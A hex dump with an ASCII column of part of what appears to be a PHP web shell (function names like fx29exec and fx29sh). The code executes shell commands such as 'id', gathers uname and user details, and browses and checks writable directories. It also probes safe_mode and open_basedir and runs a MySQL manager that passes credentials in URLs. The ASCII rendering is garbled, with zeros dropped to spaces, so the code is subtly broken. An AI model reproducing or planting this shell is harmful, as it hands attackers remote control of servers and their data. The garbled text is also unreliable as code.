18368: 75653D5C22315C223E3C696E70757420747970653D68696464656E206E616D65          ue=\"1\"><input type=hidden name
18400: 3D5C2273716C5F676F746F5C222076616C75653D5C22222E68746D6C73706563          =\"sql_goto\" value=\"".htmlspec
18432: 69616C6368617273282473716C5F676F746F292E225C223E3C696E7075742074          ialchars($sql_goto)."\"><input t
18464: 7970653D7375626D6974206E616D653D73716C5F636F6E6669726D2076616C75          ype=submit name=sql_confirm valu
18496: 653D5C225965735C223E203C696E70757420747970653D7375626D6974207661          e=\"Yes\"> <input type=submit va
18528: 6C75653D5C224E6F5C223E3C2F666F726D3E3C2F74643E223B0D0A2020202020          lue=\"No\"></form></td>";
18560: 202020696620282474626C5F73747275637429207B0D0A202020202020202020          if ($tbl_struct) {
18592: 206563686F20223C74642076616C69676E3D5C22746F705C223E3C623E466965          echo "<td valign=\"top\"><b>Fie
18624: 6C64733A3C2F623E3C62723E223B0D0A20202020202020202020666F72656163          lds:</b><br>"; foreac
18656: 6820282474626C5F73747275637420617320246669656C6429207B246E616D65          h ($tbl_struct as $field) {$name
18688: 203D20246669656C645B224669656C64225D3B206563686F20222B203C612068          = $field["Field"]; echo "+ <a h
18720: 7265663D5C22235C22206F6E636C69636B3D5C22646F63756D656E742E667832          ref=\"#\" onclick=\"document.fx2
18752: 3973685F73716C71756572792E73716C5F71756572792E76616C75652B3D2760          9sh_sqlquery.sql_query.value+='`
18784: 222E246E616D652E2260273B5C223E3C623E222E246E616D652E223C2F623E3C          ".$name."`';\"><b>".$name."</b><
18816: 2F613E3C62723E223B7D0D0A202020202020202020206563686F20223C2F7464          /a><br>";} echo "</td
18848: 3E3C2F74723E3C2F7461626C653E223B0D0A20202020202020207D0D0A202020          ></tr></table>"; }
18880: 2020207D0D0A202020202020696620282473716C5F71756572795F726573756C          } if ($sql_query_resul
18912: 74206F722028212473716C5F636F6E6669726D2929207B2473716C5F71756572          t or (!$sql_confirm)) {$sql_quer
18944: 79203D202473716C5F6C6173745F71756572793B7D0D0A202020207D0D0A2020          y = $sql_last_query;} }
18976: 7D0D0A2020696620282166756E6374696F6E5F65786973747328226D7973716C          } if (!function_exists("mysql
19008: 5F6372656174655F6462222929207B0D0A2020202066756E6374696F6E206D79          _create_db")) { function my
19040: 73716C5F6372656174655F6462282464622C24736F636B3D222229207B0D0A20          sql_create_db($db,$sock="") {
19072: 20202020202473716C203D20224352454154452044415441424153452060222E          $sql = "CREATE DATABASE `".
19104: 616464736C617368657328246462292E22603B223B0D0A202020202020696620          addslashes($db)."`;"; if
19136: 2824736F636B29207B72657475726E206D7973716C5F7175657279282473716C          ($sock) {return mysql_query($sql
19168: 2C24736F636B293B7D0D0A202020202020656C7365207B72657475726E206D79          ,$sock);} else {return my
19200: 73716C5F7175657279282473716C293B7D0D0A202020207D0D0A20207D0D0A20          sql_query($sql);} } }
19232: 20696620282166756E6374696F6E5F65786973747328226D7973716C5F717565          if (!function_exists("mysql_que
19264: 72795F7061727365222929207B0D0A2020202066756E6374696F6E206D797371          ry_parse")) { function mysq
19296: 6C5F71756572795F70617273652824717565727929207B0D0A20202020202024          l_query_parse($query) { $
19328: 7175657279203D207472696D28247175657279293B0D0A202020202020246172          query = trim($query); $ar
19360: 72203D206578706C6F646520282220222C247175657279293B0D0A2020202020          r = explode (" ",$query);
19392: 20247479706573203D206172726179280D0A20202020202020202253454C4543          $types = array( "SELEC
19424: 54223D3E617272617928332C31292C0D0A20202020202020202253484F57223D          T"=>array(3,1), "SHOW"=
19456: 3E617272617928322C31292C0D0A20202020202020202244454C455445223D3E          >array(2,1), "DELETE"=>
19488: 61727261792831292C0D0A20202020202020202244524F50223D3E6172726179          array(1), "DROP"=>array
19520: 2831290D0A202020202020293B0D0A20202020202024726573756C74203D2061          (1) ); $result = a
19552: 7272617928293B0D0A202020202020246F70203D20737472746F757070657228          rray(); $op = strtoupper(
19584: 246172725B305D293B0D0A2020202020206966202869735F6172726179282474          $arr[ ]); if (is_array($t
19616: 797065735B246F705D2929207B0D0A202020202020202024726573756C745B22          ypes[$op])) { $result["
19648: 70726F70657274696F6E73225D203D202474797065735B246F705D3B0D0A2020          propertions"] = $types[$op];
19680: 20202020202024726573756C745B227175657279225D20203D20247175657279          $result["query"] = $query
19712: 3B0D0A2020202020202020696620282474797065735B246F705D203D3D203229          ; if ($types[$op] == 2)
19744: 207B0D0A20202020202020202020666F7265616368282461727220617320246B          { foreach($arr as $k
19776: 3D3E247629207B0D0A20202020202020202020202069662028737472746F7570          =>$v) { if (strtoup
19808: 70657228247629203D3D20224C494D49542229207B0D0A202020202020202020          per($v) == "LIMIT") {
19840: 202020202024726573756C745B226C696D6974225D203D20246172725B246B2B          $result["limit"] = $arr[$k+
19872: 315D3B0D0A202020202020202020202020202024726573756C745B226C696D69          1]; $result["limi
19904: 74225D203D206578706C6F646528222C222C24726573756C745B226C696D6974          t"] = explode(",",$result["limit
19936: 225D293B0D0A202020202020202020202020202069662028636F756E74282472          "]); if (count($r
19968: 6573756C745B226C696D6974225D29203D3D203129207B24726573756C745B22          esult["limit"]) == 1) {$result["
20000: 6C696D6974225D203D20617272617928302C24726573756C745B226C696D6974          limit"] = array( ,$result["limit
20032: 225D5B305D293B7D0D0A2020202020202020202020202020756E736574282461          "][ ]);} unset($a
20064: 72725B246B5D2C246172725B246B2B315D293B0D0A2020202020202020202020          rr[$k],$arr[$k+1]);
20096: 207D0D0A202020202020202020207D0D0A20202020202020207D0D0A20202020          } } }
20128: 20207D0D0A202020202020656C7365207B72657475726E2046414C53453B7D0D          } else {return FALSE;}
20160: 0A202020207D0D0A20207D0D0A20206966202824616374203D3D2022676F6669          } } if ($act == "gofi
20192: 6C652229207B0D0A202020206966202869735F6469722824662929207B202461          le") { if (is_dir($f)) { $a
20224: 6374203D20226C73223B202464203D2024663B207D0D0A20202020656C736520          ct = "ls"; $d = $f; } else
20256: 7B2024616374203D202266223B202464203D206469726E616D65282466293B20          { $act = "f"; $d = dirname($f);
20288: 2466203D20626173656E616D65282466293B207D0D0A20207D0D0A2020232320          $f = basename($f); } } ##
20320: 484541444552532023230D0A2020406F625F737461727428293B0D0A2020406F          HEADERS ## @ob_start(); @o
20352: 625F696D706C696369745F666C7573682830293B0D0A20206865616465722822          b_implicit_flush( ); header("
20384: 457870697265733A204D6F6E2C203236204A756C20313939372030353A30303A          Expires: Mon, 26 Jul 1997  5:  :
20416: 303020474D5422293B0D0A202068656164657228224C6173742D4D6F64696669             GMT"); header("Last-Modifi
20448: 65643A20222E676D646174652822442C2064204D205920483A693A7322292E22          ed: ".gmdate("D, d M Y H:i:s")."
20480: 20474D5422293B0D0A2020686561646572282243616368652D436F6E74726F6C          GMT"); header("Cache-Control
20512: 3A206E6F2D73746F72652C206E6F2D63616368652C206D7573742D726576616C          : no-store, no-cache, must-reval
20544: 696461746522293B0D0A2020686561646572282243616368652D436F6E74726F          idate"); header("Cache-Contro
20576: 6C3A20706F73742D636865636B3D302C207072652D636865636B3D30222C2046          l: post-check= , pre-check= ", F
20608: 414C5345293B0D0A20206865616465722822507261676D613A206E6F2D636163          ALSE); header("Pragma: no-cac
20640: 686522293B0D0A202069662028656D7074792824746D706469722929207B0D0A          he"); if (empty($tmpdir)) {
20672: 2020202024746D70646972203D20696E695F676574282275706C6F61645F746D          $tmpdir = ini_get("upload_tm
20704: 705F64697222293B0D0A202020206966202869735F6469722824746D70646972          p_dir"); if (is_dir($tmpdir
20736: 2929207B24746D70646972203D20222F746D702F223B7D0D0A20207D0D0A2020          )) {$tmpdir = "/tmp/";} }
20768: 24746D70646972203D207265616C706174682824746D70646972293B0D0A2020          $tmpdir = realpath($tmpdir);
20800: 24746D70646972203D207374725F7265706C61636528225C5C222C4449524543          $tmpdir = str_replace("\\",DIREC
20832: 544F52595F534550415241544F522C24746D70646972293B0D0A202069662028          TORY_SEPARATOR,$tmpdir); if (
20864: 7375627374722824746D706469722C2D312920213D204449524543544F52595F          substr($tmpdir,-1) != DIRECTORY_
20896: 534550415241544F5229207B24746D70646972202E3D204449524543544F5259          SEPARATOR) {$tmpdir .= DIRECTORY
20928: 5F534550415241544F523B7D0D0A202069662028656D7074792824746D706469          _SEPARATOR;} if (empty($tmpdi
20960: 725F6C6F67732929207B24746D706469725F6C6F6773203D2024746D70646972          r_logs)) {$tmpdir_logs = $tmpdir
20992: 3B7D0D0A2020656C7365207B24746D706469725F6C6F6773203D207265616C70          ;} else {$tmpdir_logs = realp
21024: 6174682824746D706469725F6C6F6773293B7D0D0A202024736F7274203D2068          ath($tmpdir_logs);} $sort = h
21056: 746D6C7370656369616C63686172732824736F7274293B0D0A20206966202865          tmlspecialchars($sort); if (e
21088: 6D7074792824736F72742929207B24736F7274203D2024736F72745F64656661          mpty($sort)) {$sort = $sort_defa
21120: 756C743B7D0D0A202024736F72745B315D203D20737472746F6C6F7765722824          ult;} $sort[1] = strtolower($
21152: 736F72745B315D293B0D0A202024444953505F5345525645525F534F46545741          sort[1]); $DISP_SERVER_SOFTWA
21184: 5245203D20676574656E7628225345525645525F534F46545741524522293B0D          RE = getenv("SERVER_SOFTWARE");
21216: 0A202069662028216572656728225048502F222E70687076657273696F6E2829          if (!ereg("PHP/".phpversion()
21248: 2C24444953505F5345525645525F534F4654574152452929207B24444953505F          ,$DISP_SERVER_SOFTWARE)) {$DISP_
21280: 5345525645525F534F465457415245202E3D20222E205048502F222E70687076          SERVER_SOFTWARE .= ". PHP/".phpv
21312: 657273696F6E28293B7D0D0A202024444953505F5345525645525F534F465457          ersion();} $DISP_SERVER_SOFTW
21344: 415245203D207374725F7265706C61636528225048502F222E70687076657273          ARE = str_replace("PHP/".phpvers
21376: 696F6E28292C223C6120687265663D5C22222E247375726C2E226163743D7068          ion(),"<a href=\"".$surl."act=ph
21408: 70696E666F5C22207461726765743D5C225F626C616E6B5C223E3C623E3C753E          pinfo\" target=\"_blank\"><b><u>
21440: 5048502F222E70687076657273696F6E28292E223C2F753E3C2F623E3C2F613E          PHP/".phpversion()."</u></b></a>
21472: 222C68746D6C7370656369616C63686172732824444953505F5345525645525F          ",htmlspecialchars($DISP_SERVER_
21504: 534F46545741524529293B0D0A202040696E695F7365742822686967686C6967          SOFTWARE)); @ini_set("highlig
21536: 68742E6267222C24686967686C696768745F6267293B0D0A202040696E695F73          ht.bg",$highlight_bg); @ini_s
21568: 65742822686967686C696768742E636F6D6D656E74222C24686967686C696768          et("highlight.comment",$highligh
21600: 745F636F6D6D656E74293B0D0A202040696E695F7365742822686967686C6967          t_comment); @ini_set("highlig
21632: 68742E64656661756C74222C24686967686C696768745F64656661756C74293B          ht.default",$highlight_default);
21664: 0D0A202040696E695F7365742822686967686C696768742E68746D6C222C2468          @ini_set("highlight.html",$h
21696: 6967686C696768745F68746D6C293B0D0A202040696E695F7365742822686967          ighlight_html); @ini_set("hig
21728: 686C696768742E6B6579776F7264222C24686967686C696768745F6B6579776F          hlight.keyword",$highlight_keywo
21760: 7264293B0D0A202040696E695F7365742822686967686C696768742E73747269          rd); @ini_set("highlight.stri
21792: 6E67222C24686967686C696768745F737472696E67293B0D0A20206966202821          ng",$highlight_string); if (!
21824: 69735F61727261792824616374626F782929207B2024616374626F78203D2061          is_array($actbox)) { $actbox = a
21856: 7272617928293B207D0D0A202024647370616374203D2024616374203D206874          rray(); } $dspact = $act = ht
21888: 6D6C7370656369616C63686172732824616374293B0D0A202024646973705F66          mlspecialchars($act); $disp_f
21920: 756C6C70617468203D20246C735F617272203D20246E6F746C73203D206E756C          ullpath = $ls_arr = $notls = nul
21952: 6C3B0D0A2020247564203D204075726C656E636F6465282464293B0D0A202069          l; $ud = @urlencode($d); i
21984: 662028656D7074792824642929207B2464203D207265616C7061746828222E22          f (empty($d)) {$d = realpath("."
22016: 293B7D0D0A2020656C73656966287265616C706174682824642929207B246420          );} elseif(realpath($d)) {$d
22048: 3D207265616C70617468282464293B7D0D0A20202464203D207374725F726570          = realpath($d);} $d = str_rep
22080: 6C61636528225C5C222C4449524543544F52595F534550415241544F522C2464          lace("\\",DIRECTORY_SEPARATOR,$d
22112: 293B0D0A2020696620287375627374722824642C2D312920213D204449524543          ); if (substr($d,-1) != DIREC
22144: 544F52595F534550415241544F5229207B2464202E3D204449524543544F5259          TORY_SEPARATOR) {$d .= DIRECTORY
22176: 5F534550415241544F523B7D0D0A20202464203D207374725F7265706C616365          _SEPARATOR;} $d = str_replace
22208: 28225C5C5C5C222C225C5C222C2464293B0D0A2020246469737064203D206874          ("\\\\","\\",$d); $dispd = ht
22240: 6D6C7370656369616C6368617273282464293B0D0A202024736166656D6F6465          mlspecialchars($d); $safemode
22272: 203D20736166656D6F646528293B0D0A20206966202824736166656D6F646529          = safemode(); if ($safemode)
22304: 207B0D0A202020202468736166656D6F6465203D20223C666F6E7420636F6C6F          { $hsafemode = "<font colo
22336: 723D233333363646463E3C623E53414645204D4F4445204953204F4E3C2F623E          r=#3366FF><b>SAFE MODE IS ON</b>
22368: 3C2F666F6E743E223B0D0A2020202024736166656D6F64656578656364697220          </font>"; $safemodeexecdir
22400: 3D2040696E695F6765742822736166655F6D6F64655F657865635F6469722229          = @ini_get("safe_mode_exec_dir")
22432: 3B0D0A20207D0D0A2020656C7365207B202468736166656D6F6465203D20223C          ; } else { $hsafemode = "<
22464: 666F6E7420636F6C6F723D234646393930303E3C623E53414645204D4F444520          font color=#FF99  ><b>SAFE MODE
22496: 4953204F46463C2F623E3C2F666F6E743E223B207D0D0A20202476203D204069          IS OFF</b></font>"; } $v = @i
22528: 6E695F67657428226F70656E5F6261736564697222293B0D0A20206966202824          ni_get("open_basedir"); if ($
22560: 76206F7220737472746F6C6F77657228247629203D3D20226F6E2229207B0D0A          v or strtolower($v) == "on") {
22592: 20202020246F70656E62617365646972203D20545255453B0D0A202020202468          $openbasedir = TRUE; $h
22624: 6F70656E62617365646972203D20223C666F6E7420636F6C6F723D7265643E22          openbasedir = "<font color=red>"
22656: 2E24762E223C2F666F6E743E223B0D0A20207D0D0A2020656C7365207B0D0A20          .$v."</font>"; } else {
22688: 202020246F70656E62617365646972203D2046414C53453B0D0A202020202468          $openbasedir = FALSE; $h
22720: 6F70656E62617365646972203D20223C666F6E7420636F6C6F723D677265656E          openbasedir = "<font color=green
22752: 3E4F464620286E6F7420736563757265293C2F666F6E743E223B0D0A20207D0D          >OFF (not secure)</font>"; }
22784: 0A20200D0A2323232323232323232323232323232323230D0A23235B2048544D          ################## ##[ HTM
22816: 4C205354415254205D23230D0A2323232323232323232323232323232323230D          L START ]## ##################
22848: 0A66756E6374696F6E207372765F696E666F28247469746C652C24636F6E7465          function srv_info($title,$conte
22880: 6E747329207B0D0A20206563686F20223C74723E3C74683E247469746C653C2F          nts) { echo "<tr><th>$title</
22912: 74683E3C74643E3A3C2F74643E3C74643E24636F6E74656E74733C2F74643E3C          th><td>:</td><td>$contents</td><
22944: 2F74723E5C6E223B0D0A7D0D0A6563686F2068746D6C68656164282468736166          /tr>\n"; } echo htmlhead($hsaf
22976: 656D6F6465293B0D0A6563686F20223C7461626C652069643D70616765626172          emode); echo "<table id=pagebar
23008: 3E223B0D0A6563686F20223C74723E3C746420636F6C7370616E3D323E5C6E22          >"; echo "<tr><td colspan=2>\n"
23040: 3B0D0A6563686F20223C64697620636C6173733D666C6566743E246873616665          ; echo "<div class=fleft>$hsafe
23072: 6D6F64653C2F6469763E5C6E223B0D0A6563686F20223C64697620636C617373          mode</div>\n"; echo "<div class
23104: 3D6672696768743E223B0D0A6563686F2022495020416464726573733A203C61          =fright>"; echo "IP Address: <a
23136: 20687265663D5C22687474703A2F2F77732E6172696E2E6E65742F6367692D62          href=\"http://ws.arin.net/cgi-b
23168: 696E2F77686F69732E706C3F7175657279696E7075743D222E40676574686F73          in/whois.pl?queryinput=".@gethos
23200: 7462796E616D6528245F5345525645525B22485454505F484F5354225D292E22          tbyname($_SERVER["HTTP_HOST"])."
23232: 5C223E222E40676574686F737462796E616D6528245F5345525645525B224854          \">".@gethostbyname($_SERVER["HT
23264: 54505F484F5354225D292E223C2F613E20222E0D0A202020202022596F753A20          TP_HOST"])."</a> ". "You:
23296: 3C6120687265663D5C22687474703A2F2F77732E6172696E2E6E65742F636769          <a href=\"http://ws.arin.net/cgi
23328: 2D62696E2F77686F69732E706C3F7175657279696E7075743D222E245F534552          -bin/whois.pl?queryinput=".$_SER
23360: 5645525B2252454D4F54455F41444452225D2E225C223E222E245F5345525645          VER["REMOTE_ADDR"]."\">".$_SERVE
23392: 525B2252454D4F54455F41444452225D2E223C2F613E20222E0D0A2020202020          R["REMOTE_ADDR"]."</a> ".
23424: 282477696E3F224472697665733A20222E646973705F6472697665732824642C          ($win?"Drives: ".disp_drives($d,
23456: 247375726C293A2222293B0D0A6563686F20223C2F6469763E5C6E3C2F74643E          $surl):""); echo "</div>\n</td>
23488: 3C2F74723E5C6E223B0D0A6563686F20223C74723E3C74642077696474683D35          </tr>\n"; echo "<tr><td width=5
23520: 30253E5C6E223B0D0A6563686F20223C7461626C6520636C6173733D696E666F           %>\n"; echo "<table class=info
23552: 3E5C6E223B0D0A7372765F696E666F2822536F667477617265222C22222E2444          >\n"; srv_info("Software","".$D
23584: 4953505F5345525645525F534F465457415245293B0D0A7372765F696E666F28          ISP_SERVER_SOFTWARE); srv_info(
23616: 22556E616D65222C7068705F756E616D652829293B0D0A7372765F696E666F28          "Uname",php_uname()); srv_info(
23648: 2255736572222C282477696E29203F206765745F63757272656E745F75736572          "User",($win) ? get_current_user
23680: 28292E2220287569643D222E6765746D7975696428292E22206769643D222E67          ()." (uid=".getmyuid()." gid=".g
23712: 65746D7967696428292E222922203A206678323965786563282269642229293B          etmygid().")" : fx29exec("id"));
23744: 0D0A6563686F20223C2F7461626C653E3C2F74643E5C6E222E0D0A2020202020          echo "</table></td>\n".
23776: 223C74642077696474683D3530253E5C6E223B0D0A6563686F20223C7461626C          "<td width=5 %>\n"; echo "<tabl
23808: 6520636C6173733D696E666F3E5C6E223B0D0A7372765F696E666F2822467265          e class=info>\n"; srv_info("Fre
23840: 657370616365222C646973705F66726565737061636528246429293B0D0A6563          espace",disp_freespace($d)); ec
23872: 686F20223C2F7461626C653E3C2F74643E3C2F74723E5C6E223B0D0A6563686F          ho "</table></td></tr>\n"; echo
23904: 20223C74723E3C746420636F6C7370616E3D323E5C6E223B0D0A6563686F2067          "<tr><td colspan=2>\n"; echo g
23936: 65745F73746174757328293B0D0A6563686F20223C2F74643E3C2F74723E5C6E          et_status(); echo "</td></tr>\n
23968: 223B0D0A6563686F20223C74723E3C746420636F6C7370616E3D323E5C6E223B          "; echo "<tr><td colspan=2>\n";
24000: 0D0A6563686F2024736166656D6F646565786563646972203F2022536166656D          echo $safemodeexecdir ? "Safem
24032: 6F6465457865634469723A20222E24736166656D6F6465657865636469722E22          odeExecDir: ".$safemodeexecdir."
24064: 3C62723E5C6E22203A2022223B0D0A6563686F2073686F7764697366756E6328          <br>\n" : ""; echo showdisfunc(
24096: 29203F202244697346756E633A20222E73686F7764697366756E6328292E225C          ) ? "DisFunc: ".showdisfunc()."\
24128: 6E22203A2022223B0D0A6563686F20223C2F74643E3C2F74723E5C6E223B0D0A          n" : ""; echo "</td></tr>\n";
24160: 6563686F20223C74723E3C746420636F6C7370616E3D322069643D6D61696E6D          echo "<tr><td colspan=2 id=mainm
24192: 656E753E5C6E223B0D0A69662028636F756E742824717569636B6C61756E6368          enu>\n"; if (count($quicklaunch
24224: 3229203E203029207B0D0A2020666F72656163682824717569636B6C61756E63          2) >  ) { foreach($quicklaunc
24256: 683220617320246974656D29207B0D0A20202020246974656D5B315D203D2073          h2 as $item) { $item[1] = s
24288: 74725F7265706C61636528222564222C75726C656E636F6465282464292C2469          tr_replace("%d",urlencode($d),$i
24320: 74656D5B315D293B0D0A20202020246974656D5B315D203D207374725F726570          tem[1]); $item[1] = str_rep
24352: 6C616365282225736F7274222C24736F72742C246974656D5B315D293B0D0A20          lace("%sort",$sort,$item[1]);
24384: 2020202476203D207265616C706174682824642E222E2E22293B0D0A20202020          $v = realpath($d."..");
24416: 69662028656D7074792824762929207B0D0A2020202020202461203D20657870          if (empty($v)) { $a = exp
24448: 6C6F6465284449524543544F52595F534550415241544F522C2464293B0D0A20          lode(DIRECTORY_SEPARATOR,$d);
24480: 2020202020756E7365742824615B636F756E74282461292D325D293B0D0A2020          unset($a[count($a)-2]);
24512: 202020202476203D206A6F696E284449524543544F52595F534550415241544F          $v = join(DIRECTORY_SEPARATO
24544: 522C2461293B0D0A202020207D0D0A20202020246974656D5B315D203D207374          R,$a); } $item[1] = st
24576: 725F7265706C616365282225757064222C75726C656E636F6465282476292C24          r_replace("%upd",urlencode($v),$
24608: 6974656D5B315D293B0D0A202020206563686F20223C6120687265663D5C2222          item[1]); echo "<a href=\""
24640: 2E246974656D5B315D2E225C223E222E246974656D5B305D2E223C2F613E5C6E          .$item[1]."\">".$item[ ]."</a>\n
24672: 223B0D0A20207D0D0A7D0D0A6563686F20223C2F74643E5C6E222E0D0A202020          "; } } echo "</td>\n".
24704: 2020223C74723E3C746420636F6C7370616E3D322069643D6D61696E6D656E75          "<tr><td colspan=2 id=mainmenu
24736: 3E5C6E223B0D0A69662028636F756E742824717569636B6C61756E6368312920          >\n"; if (count($quicklaunch1)
24768: 3E203029207B0D0A2020666F72656163682824717569636B6C61756E63683120          >  ) { foreach($quicklaunch1
24800: 617320246974656D29207B0D0A20202020246974656D5B315D203D207374725F          as $item) { $item[1] = str_
24832: 7265706C61636528222564222C75726C656E636F6465282464292C246974656D          replace("%d",urlencode($d),$item
24864: 5B315D293B0D0A20202020246974656D5B315D203D207374725F7265706C6163          [1]); $item[1] = str_replac
24896: 65282225736F7274222C24736F72742C246974656D5B315D293B0D0A20202020          e("%sort",$sort,$item[1]);
24928: 2476203D207265616C706174682824642E222E2E22293B0D0A20202020696620          $v = realpath($d.".."); if
24960: 28656D7074792824762929207B0D0A2020202020202461203D206578706C6F64          (empty($v)) { $a = explod
24992: 65284449524543544F52595F534550415241544F522C2464293B0D0A20202020          e(DIRECTORY_SEPARATOR,$d);
25024: 2020756E7365742824615B636F756E74282461292D325D293B0D0A2020202020          unset($a[count($a)-2]);
25056: 202476203D206A6F696E284449524543544F52595F534550415241544F522C24          $v = join(DIRECTORY_SEPARATOR,$
25088: 61293B0D0A202020207D0D0A20202020246974656D5B315D203D207374725F72          a); } $item[1] = str_r
25120: 65706C616365282225757064222C75726C656E636F6465282476292C24697465          eplace("%upd",urlencode($v),$ite
25152: 6D5B315D293B0D0A202020206563686F20223C6120687265663D5C22222E2469          m[1]); echo "<a href=\"".$i
25184: 74656D5B315D2E225C223E222E246974656D5B305D2E223C2F613E5C6E223B0D          tem[1]."\">".$item[ ]."</a>\n";
25216: 0A20207D0D0A7D0D0A6563686F20223C2F74643E3C2F74723E5C6E3C74723E3C          } } echo "</td></tr>\n<tr><
25248: 746420636F6C7370616E3D323E223B0D0A6563686F20223C7020636C6173733D          td colspan=2>"; echo "<p class=
25280: 666C6566743E5C6E223B0D0A247064203D202465203D206578706C6F64652844          fleft>\n"; $pd = $e = explode(D
25312: 49524543544F52595F534550415241544F522C7375627374722824642C302C2D          IRECTORY_SEPARATOR,substr($d, ,-
25344: 3129293B0D0A2469203D20303B0D0A666F726561636828247064206173202462          1)); $i =  ; foreach($pd as $b
25376: 29207B0D0A20202474203D2022223B20246A203D20303B0D0A2020666F726561          ) { $t = ""; $j =  ; forea
25408: 63682028246520617320247229207B0D0A2020202024742E3D2024722E444952          ch ($e as $r) { $t.= $r.DIR
25440: 4543544F52595F534550415241544F523B0D0A2020202069662028246A203D3D          ECTORY_SEPARATOR; if ($j ==
25472: 20246929207B20627265616B3B207D0D0A20202020246A2B2B3B0D0A20207D0D          $i) { break; } $j++; }
25504: 0A20206563686F20223C6120687265663D5C22222E247375726C2E226163743D          echo "<a href=\"".$surl."act=
25536: 6C7326643D222E75726C656E636F6465282474292E2226736F72743D222E2473          ls&d=".urlencode($t)."&sort=".$s
25568: 6F72742E225C223E3C666F6E7420636F6C6F723D79656C6C6F773E222E68746D          ort."\"><font color=yellow>".htm
25600: 6C7370656369616C6368617273282462292E4449524543544F52595F53455041          lspecialchars($b).DIRECTORY_SEPA
25632: 5241544F522E223C2F666F6E743E3C2F613E5C6E223B0D0A202024692B2B3B0D          RATOR."</font></a>\n"; $i++;
25664: 0A7D0D0A6563686F2022202D20223B0D0A6966202869735F7772697461626C65          } echo " - "; if (is_writable
25696: 2824642929207B0D0A2020247764203D20545255453B0D0A202024776474203D          ($d)) { $wd = TRUE; $wdt =
25728: 20223C666F6E7420636F6C6F723D233030464630303E5B4F4B5D3C2F666F6E74          "<font color=#  FF  >[OK]</font
25760: 3E223B0D0A20206563686F20223C623E3C666F6E7420636F6C6F723D67726565          >"; echo "<b><font color=gree
25792: 6E3E222E766965775F7065726D732866696C657065726D7328246429292E223C          n>".view_perms(fileperms($d))."<
25824: 2F666F6E743E3C2F623E223B0D0A7D0D0A656C7365207B0D0A2020247764203D          /font></b>"; } else { $wd =
25856: 2046414C53453B0D0A202024776474203D20223C666F6E7420636F6C6F723D72          FALSE; $wdt = "<font color=r
25888: 65643E5B526561642D4F6E6C795D3C2F666F6E743E223B0D0A20206563686F20          ed>[Read-Only]</font>"; echo
25920: 223C623E222E766965775F7065726D735F636F6C6F72282464292E223C2F623E          "<b>".view_perms_color($d)."</b>
25952: 223B0D0A7D0D0A6563686F20225C6E3C2F703E5C6E223B0D0A3F3E0D0A3C6469          "; } echo "\n</p>\n"; ?> <di
25984: 7620636C6173733D6672696768743E0D0A3C666F726D206D6574686F643D2250          v class=fright> <form method="P
26016: 4F5354223E3C696E70757420747970653D68696464656E206E616D653D616374          OST"><input type=hidden name=act
26048: 2076616C75653D226C73223E0D0A4469726563746F72793A203C696E70757420          value="ls"> Directory: <input
26080: 747970653D227465787422206E616D653D2264222073697A653D223530222076          type="text" name="d" size="5 " v
26112: 616C75653D223C3F706870206563686F202464697370643B203F3E223E203C69          alue="<?php echo $dispd; ?>"> <i
26144: 6E70757420747970653D7375626D69742076616C75653D22476F223E0D0A3C2F          nput type=submit value="Go"> </
26176: 666F726D3E0D0A3C2F6469763E0D0A3C2F74643E3C2F74723E3C2F7461626C65          form> </div> </td></tr></table
26208: 3E0D0A3C3F7068700D0A2F2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A          > <?php /*********************
26240: 2A2A2F0D0A2F2A2A20494E464F524D4154494F4E205441424C45202A2A2F0D0A          **/ /** INFORMATION TABLE **/
26272: 2F2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2F0D0A6563686F20          /***********************/ echo
26304: 223C7461626C652069643D6D61696E696E666F3E3C74723E3C74642077696474          "<table id=maininfo><tr><td widt
26336: 683D5C22313030255C223E5C6E223B0D0A6966202824616374203D3D20222229          h=\"1  %\">\n"; if ($act == "")
26368: 207B2024616374203D2024647370616374203D20226C73223B207D0D0A696620          { $act = $dspact = "ls"; } if
26400: 2824616374203D3D202273716C2229207B0D0A20202473716C5F7375726C203D          ($act == "sql") { $sql_surl =
26432: 20247375726C2E226163743D73716C223B0D0A2020696620282473716C5F6C6F          $surl."act=sql"; if ($sql_lo
26464: 67696E2920207B2473716C5F7375726C202E3D20222673716C5F6C6F67696E3D          gin) {$sql_surl .= "&sql_login=
26496: 222E68746D6C7370656369616C6368617273282473716C5F6C6F67696E293B7D          ".htmlspecialchars($sql_login);}
26528: 0D0A2020696620282473716C5F70617373776429207B2473716C5F7375726C20          if ($sql_passwd) {$sql_surl
26560: 2E3D20222673716C5F7061737377643D222E68746D6C7370656369616C636861          .= "&sql_passwd=".htmlspecialcha
26592: 7273282473716C5F706173737764293B7D0D0A2020696620282473716C5F7365          rs($sql_passwd);} if ($sql_se
26624: 7276657229207B2473716C5F7375726C202E3D20222673716C5F736572766572          rver) {$sql_surl .= "&sql_server
26656: 3D222E68746D6C7370656369616C6368617273282473716C5F73657276657229          =".htmlspecialchars($sql_server)
26688: 3B7D0D0A2020696620282473716C5F706F7274292020207B2473716C5F737572          ;} if ($sql_port) {$sql_sur
26720: 6C202E3D20222673716C5F706F72743D222E68746D6C7370656369616C636861          l .= "&sql_port=".htmlspecialcha
26752: 7273282473716C5F706F7274293B7D0D0A2020696620282473716C5F64622920          rs($sql_port);} if ($sql_db)
26784: 202020207B2473716C5F7375726C202E3D20222673716C5F64623D222E68746D          {$sql_surl .= "&sql_db=".htm
26816: 6C7370656369616C6368617273282473716C5F6462293B7D0D0A20202473716C          lspecialchars($sql_db);} $sql
26848: 5F7375726C202E3D202226223B0D0A20206563686F20223C68343E417474656E          _surl .= "&"; echo "<h4>Atten
26880: 74696F6E21204D7953514C204D616E61676572206973203C753E4E4F543C2F75          tion! MySQL Manager is <u>NOT</u
26912: 3E2061207265616479206D6F64756C652120446F6E2774207265706F72747320          > a ready module! Don't reports
26944: 627567732E3C2F68343E222E0D0A20202020202020223C7461626C653E222E0D          bugs.</h4>". "<table>".
26976: 0A20202020202020223C74723E3C74642077696474683D5C22313030255C2220          "<tr><td width=\"1  %\"
27008: 636F6C7370616E3D3220636C6173733D6261726865616465723E223B0D0A2020          colspan=2 class=barheader>";
27040: 696620282473716C5F73657276657229207B0D0A202020202473716C5F736F63          if ($sql_server) { $sql_soc
27072: 6B203D206D7973716C5F636F6E6E656374282473716C5F7365727665722E223A          k = mysql_connect($sql_server.":
27104: 222E2473716C5F706F72742C202473716C5F6C6F67696E2C202473716C5F7061          ".$sql_port, $sql_login, $sql_pa
27136: 73737764293B0D0A2020202024657272203D206D7973716C5F736D6172746572          sswd); $err = mysql_smarter
